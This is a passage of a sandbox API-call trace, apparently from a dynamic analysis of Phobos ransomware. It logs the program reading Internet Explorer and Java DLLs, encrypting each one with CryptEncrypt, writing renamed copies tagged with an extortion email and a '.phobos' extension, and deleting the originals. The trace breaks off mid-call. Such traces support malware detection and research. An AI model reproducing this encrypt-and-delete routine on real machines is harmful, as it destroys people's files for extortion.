dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.298] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.298] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\wage.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\wage.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.299] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x753158) returned 1 [0134.299] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.299] ReadFile (in: hFile=0x2f8, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x12800, lpOverlapped=0x0) returned 1 [0134.307] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x12810, dwBufLen=0x12810 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x12810) returned 1 [0134.307] WriteFile (in: hFile=0x2b4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x12810, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x12810, lpOverlapped=0x0) returned 1 [0134.309] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x753098) returned 1 [0134.309] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.309] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0134.309] CryptDestroyKey (hKey=0x753098) returned 1 [0134.309] WriteFile (in: hFile=0x2b4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0134.309] CryptDestroyKey (hKey=0x753158) returned 1 [0134.309] CloseHandle (hObject=0x2f8) returned 1 [0134.309] CloseHandle (hObject=0x2b4) returned 1 [0134.309] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\wage.exe" (normalized: "c:\\program files\\internet explorer\\wage.exe")) returned 1 [0134.311] SetEvent (hEvent=0x298) returned 1 [0134.311] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.313] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=16960) returned 1 [0134.313] CloseHandle (hObject=0x2f8) returned 1 [0134.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 0x20 [0134.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.313] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.313] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.313] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752cd8) returned 1 [0134.313] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.313] ReadFile (in: hFile=0x2f8, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x4240, lpOverlapped=0x0) returned 1 [0134.355] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4250, dwBufLen=0x4250 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4250) returned 1 [0134.355] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x4250, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x4250, lpOverlapped=0x0) returned 1 [0134.357] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752fd8) returned 1 [0134.357] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.357] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x30, dwBufLen=0x30 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x30) returned 1 [0134.357] CryptDestroyKey (hKey=0x752fd8) returned 1 [0134.357] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xe2, lpOverlapped=0x0) returned 1 [0134.357] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.357] CloseHandle (hObject=0x2f8) returned 1 [0134.357] CloseHandle (hObject=0x2f4) returned 1 [0134.357] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 1 [0134.358] SetEvent (hEvent=0x298) returned 1 [0134.358] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.358] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=159808) returned 1 [0134.358] CloseHandle (hObject=0x2f4) returned 1 [0134.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 0x20 [0134.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.358] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.359] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.359] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752cd8) returned 1 [0134.359] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.359] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x27040, lpOverlapped=0x0) returned 1 [0134.404] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x27050, dwBufLen=0x27050 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x27050) returned 1 [0134.405] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x27050, lpOverlapped=0x0) returned 1 [0134.407] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752d18) returned 1 [0134.407] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.407] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0134.407] CryptDestroyKey (hKey=0x752d18) returned 1 [0134.407] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0134.407] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.407] CloseHandle (hObject=0x2f4) returned 1 [0134.408] CloseHandle (hObject=0x2f8) returned 1 [0134.408] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 1 [0134.409] SetEvent (hEvent=0x298) returned 1 [0134.409] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.409] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=86080) returned 1 [0134.409] CloseHandle (hObject=0x2f8) returned 1 [0134.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 0x20 [0134.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.410] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.410] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.410] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752b18) returned 1 [0134.410] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.410] ReadFile (in: hFile=0x2f8, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x15040, lpOverlapped=0x0) returned 1 [0134.527] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x15050, dwBufLen=0x15050 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x15050) returned 1 [0134.527] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x15050, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x15050, lpOverlapped=0x0) returned 1 [0134.530] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752cd8) returned 1 [0134.530] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.530] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0134.530] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.530] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0134.530] CryptDestroyKey (hKey=0x752b18) returned 1 [0134.530] CloseHandle (hObject=0x2f8) returned 1 [0134.530] CloseHandle (hObject=0x2f4) returned 1 [0134.530] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 1 [0134.531] SetEvent (hEvent=0x298) returned 1 [0134.531] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.532] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=1026112) returned 1 [0134.532] CloseHandle (hObject=0x2f4) returned 1 [0134.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 0x20 [0134.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.532] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.532] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.534] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752cd8) returned 1 [0134.534] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.534] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0xfa840, lpOverlapped=0x0) returned 1 [0134.577] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0xfa850, dwBufLen=0xfa850 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0xfa850) returned 1 [0134.578] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xfa850, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xfa850, lpOverlapped=0x0) returned 1 [0134.593] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x753098) returned 1 [0134.593] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.593] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0134.593] CryptDestroyKey (hKey=0x753098) returned 1 [0134.593] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0134.593] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.593] CloseHandle (hObject=0x2f4) returned 1 [0134.593] CloseHandle (hObject=0x2f8) returned 1 [0134.593] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 1 [0134.600] SetEvent (hEvent=0x298) returned 1 [0134.600] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.600] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=1156672) returned 1 [0134.601] CloseHandle (hObject=0x2f8) returned 1 [0134.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 0x20 [0134.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.601] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.601] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.603] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752e98) returned 1 [0134.603] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.603] ReadFile (in: hFile=0x2f8, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x110100, lpOverlapped=0x0) returned 1 [0134.648] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x110100, dwBufLen=0x110100 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x110100) returned 1 [0134.649] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x110100, lpOverlapped=0x0) returned 1 [0134.667] ReadFile (in: hFile=0x2f8, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0xa540, lpOverlapped=0x0) returned 1 [0134.667] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0xa550, dwBufLen=0xa550 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0xa550) returned 1 [0134.667] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xa550, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xa550, 